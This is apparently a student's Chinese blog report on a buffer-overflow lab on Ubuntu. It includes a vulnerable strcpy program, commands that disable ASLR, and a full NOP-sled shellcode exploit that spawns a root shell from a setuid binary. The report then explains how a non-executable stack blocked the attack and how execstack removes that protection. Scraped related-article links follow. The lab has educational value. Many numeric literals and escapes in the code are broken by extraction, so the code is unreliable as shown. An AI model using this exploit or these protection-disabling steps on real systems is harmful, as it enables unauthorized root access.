Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)
缓冲器溢出攻击实验题目:
下边的代码摘自《黑客攻防技术宝典——系统实战篇(第 2 版)》2.5 节,攻击该代码,获得root 权限,实现相应的效果。
int main(int argc, char *argv[]) { char little_array[]; if(argc>) strcpy(little_array,argv[]); }
实验步骤:
1) 首 先 确 保 系 统 禁 用 了 ASLR ( Address space layout randomization )。
cat /proc/sys/kernel/randomize_va_space
2) 利用 find_start 函数可以找出 ESP 的地址。
//find_start.c #include <stdlib.h> #include <string.h> unsigned long find_start(void) { __asm__("movl %esp, %eax"); } int main() { printf("0x%x/n",find_start()); }
如果每次找到的地址都相同,说明堆栈的地址动态分配确实关闭了。
如果地址不同,则需要禁用ASLR(Address space layout randomization):
sudo sysctl -w kernel.randomize_va_space=
3) 构造被攻击宿主程序 victim,把 victim 程序属主设为 root,suid 位打开,保证程序在普通用户执行时也具有 root 权限。这样当攻击成功后,就可以从宿主程序派生出继承到root 权限的 shell。
4) 采用 NSR(NOP-SHELL-RETURN)模式构造溢出代码 nopattack.c 并编译,代码如下:
#include <stdlib.h> #include <stdio.h> #include <string.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 600 #define NOP 0x90 char shellcode[] = "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46" "/x0c/xb0/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1" "/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > ) bsize = atoi(argv[]); if (argc > ) offset = atoi(argv[]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory./n"); exit(); } addr = get_sp() - offset; printf("Using address: 0x%x/n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = ; i < bsize; i+=) *(addr_ptr++) = addr; for (i = ; i < bsize/; i++) buff[i] = NOP; ptr = buff + ((bsize/) - (strlen(shellcode)/)); for (i = ; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - ] = '/0'; memcpy(buff,"BUF=",); putenv(buff); system("/bin/bash"); }
5) 编译代码,并尝试攻击 victim 程序,直到获取到 root 权限。下面取 BUFFER 大小为 600,
Offset 为 400,构造 NSR,攻击 victim 成功获取到具有 root 权限的 shell。
实验遇到的问题和解决:
1、最开始做这个实验的时候,怎么也拿不到root权限,每次都是提示segement fault,开始我一直以为是偏移地址取得不对,被这个问题困扰了很久。
后来经过很长时间的分析,再对比分析了别人成功的实验的程序和我的程序的区别上,才找出了问题所在。
2、尝试使用别人的vicitim程序执行溢出,发现很容易就成功获得root权限了。
3、把别人的成功溢出的程序拿过来,做对比分析,假设将自己编译的两个程序分别命名为nopattack1,victim1,别人的可以溢出的程序命名为nopattack2,vicitm2。做组合对比试验,得到如下结果。
|
实验分组 |
攻击程序 |
被攻击程序 |
溢出成功?(Y/N) |
|
1 |
nopattack1 |
victim1 |
N |
|
2 |
nopattack2 |
victim2 |
Y |
|
3 |
nopattack1 |
victim2 |
Y |
|
4 |
nopattack2 |
victim1 |
N |
通过对比分析,知道只要被攻击程序是victim2(不是自己编译的),就可以溢出成功。
4、将victim1和victim2进行对比,用gdb看程序的汇编代码完全相同。开始发现文件比他们的略大,后来发现是由于编译时加了-g造成的,去掉-g后文件大小完全相同。
5、将vicitim1和vicitim2拿到windows下,用Ultracompare进行对比,发现略有不同。

左 边的re为自己编译的程序,右边的rootecho可以成功溢出的程序。后面也有些字段不同,但是感觉和实际运行无关,左边的06h和右边的07h的差异 估计是造成本地程序不能成功溢出的原因。用UltraEdit修改re的程序中的06h为07h,重新放入ubuntu系统进行测试,发现可以成功溢出。 拿各程序对比,发现均有这个问题,估计是症结所在。
6、既然是程序的问题,那么就要分析文件的结构,看这个字段究竟是何涵义。Linux的程序格式是ELF格式。那么就要分析ELF格式。bash下用readelf命令可以分析程序的存储结构。运行如下命令将分析结果导出到profile文件。
readelf -a re>profile_re
readelf -a rootecho>profile_rootecho
将文件用UltraCompare进行对比。发现一些不同,最重要的不同是GNU_STACK处的不同。

左边的RW,右边的是RWE,E显然是代表个执行。查阅资料后可知,GNU_STACK这行代表的是堆栈的情况,RW代表个读写,RWE代表可读写和执行。
显然真正的问题在于本地编译的程序在堆栈上没有可执行权限,这也是造成能顺利做出第一问(因为不需要在堆栈上执行代码,只需程序跳转到代码段而已),但同样原理的第二问和第三问(要在栈上执行shell)就不可能做出来的原因。
7、 不过PPT上说只要在编译代码时加上-z –execstack就可以使堆栈上可以执行代码,然而事实却不是这样的。为了验证这个想法,重新编译代码进行了进一步的验证。从运行的效果可以看出,虽 然gcc编译代码的时候,虽然添加了-z –execstack参数,栈依旧是不可执行的,这估计是因为gcc版本过高的问题。
8、解决方案:
1)在本地安装execstack
安装命令:sudo apt-get install execstack
2)用execstack修改程序堆栈的可执行属性。
修改命令:execstack -s victim
3)对修改后的victim进行溢出攻击。当vicitm具有栈可执行的性质后,很容易就通过溢出攻击拿到了root权限。
实验问题总结:
gcc -fno-stack-protector -z -execstack -mpreferred-stack-boundary=2 -g function.c -o function这条指令中,-fno-stack-protector可以禁用堆栈保护,-mpreferred-stack-boundary=2可 以是程序边界对齐,-g是程序是否带调试功能,可不用,但是-z –execstack却不一定能使程序的栈可执行,估计和GCC版本有关。通过readelf -a function|grep GNU_STACK指令可以查看funcition的堆栈是否可执行,如果是RW,说明栈只是可读写,还不可执行,任何尝试的攻击都会造成segment fault,如果是RWE说明栈可执行,可以通过buffer overflow,执行栈上的shell指令。
如果程序的栈不可执行指令,那么溢出是徒劳的。因此需要修改程序栈的可执行性。直接通过修改二进制比较麻烦,而且较难找到那个字段,这里用execstack程序,修改程序栈的可执行属性,将栈设置为可执行指令,可以顺利地进行实验。
后记:
其 实网上关于缓冲区溢出的实验教程很多,而自己当时遇到了问题,绕了很多了弯路才找出了问题的原因所在,照这些教程也不能解决,而问题的原因其实是并不是方 法的问题,而是对堆栈的可执行性的认识不够,理所当然地认为栈是可执行的。写这篇博文的主要目的是希望大家都能认识大对工程实际问题不能想当然,要多分析 前因后果,否则要绕弯路。如果大家遇到了同样的问题,而也能用这个方法解决,足矣。
Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)的更多相关文章
- CSAPP缓冲区溢出攻击实验(下)
CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom 栈结构镇楼 这里先给 ...
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...
- CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
前言 完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧. CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上 ...
- Linux下缓冲区溢出攻击的原理及对策(转载)
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实现 ...
- Linux下缓冲区溢出攻击的原理及对策
前言 从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用.当函数调用发生时,新的堆栈 帧被压入堆栈:当函数返回时,相应的堆栈帧从堆栈中弹出.尽管堆栈帧结构的引入为在高级语言中实 ...
- Ubuntu下常用强化学习实验环境搭建(MuJoCo, OpenAI Gym, rllab, DeepMind Lab, TORCS, PySC2)
http://lib.csdn.net/article/aimachinelearning/68113 原文地址:http://blog.csdn.net/jinzhuojun/article/det ...
- snort简介以及在Ubuntu下的安装
一.简介 Snort是一套开放源代码的网络入侵预防软件与网络入侵检测软件.Snort使用了以侦测签章(signature-based)与通信协议的侦测方法.Snort是一个免费的IDS(入侵监测系统) ...
- 20145319 return-to-libc攻击实验
20145319 Return-to-libc攻击实验 一 实验内容 return-to-libc实验是一个基于缓冲区溢出攻击实验的基础上的一种攻击实验 缓冲区溢出攻击相关知识: 原理:通过一段包含s ...
随机推荐
- iframe设置高度为100%
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 胡思乱想 & 胡言乱语
其大无外,其小无内,在数学上是不存在的,有无穷大,又有无限逼近于0而永远不等于0 现实中,人们对事物的认知局限于科学工艺的发展,往小的方面说,在没有显微镜之前,我们能看到的最小的东西莫过于尘埃,其后认 ...
- HBase--阿里未来发展
最近家里没网络,在公司加班写哈博客. HBase是一个开源的非关系型分布式数据库(NoSQL),基于谷歌的BigTable建模,是一个高可靠性.高性能.高伸缩的分布式存储系统,使用HBase技术可在廉 ...
- 《转》Python学习(19)-python函数(二)-关于lambda
转自http://www.cnblogs.com/BeginMan/p/3178103.html 一.lambda函数 1.lambda函数基础: lambda函数也叫匿名函数,即,函数没有具体的名称 ...
- margin-left:10px; 不同浏览器距离为什么不一样?
这是一个ie的bug.. 如果你设置margin对象是浮动的.ie就会把你设置的值双倍处理..可以设置浮动对象的 display:inline 解决
- 【大数据系列】hive修改默认的derby数据库
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <?xml- ...
- windows 电脑配置信息检测
内存条 DDR4 DDR4相比DDR3最大的区别有: 1)处理器:每次内存升级换代时,必须支持的就是处理器.Haswell-E平台的内存同IVB-E/SNB-E一样为四通道设计,DDR4内存频率原生支 ...
- 如何快速打开.iso文件(不借助专门的工具)
如何快速打开.iso文件(不借助专门的工具) 把.iso文件重命名为.rar文件,然后解压即可
- Openstack的网卡设置
本博客已经添加"打赏"功能,"打赏"位置位于右边栏红色框中,感谢您赞助的咖啡. 最开始接触Openstack,这块是比较头疼的,不同的文档,设置都会有所差异,并 ...
- Windows平台编译SQLite 3
由于需要sqlite的x64版本只能自己编译,下载sqlite源代码.sqlite.def.Visual Studio 2013新建一个Visual C++ Empty Project,Configu ...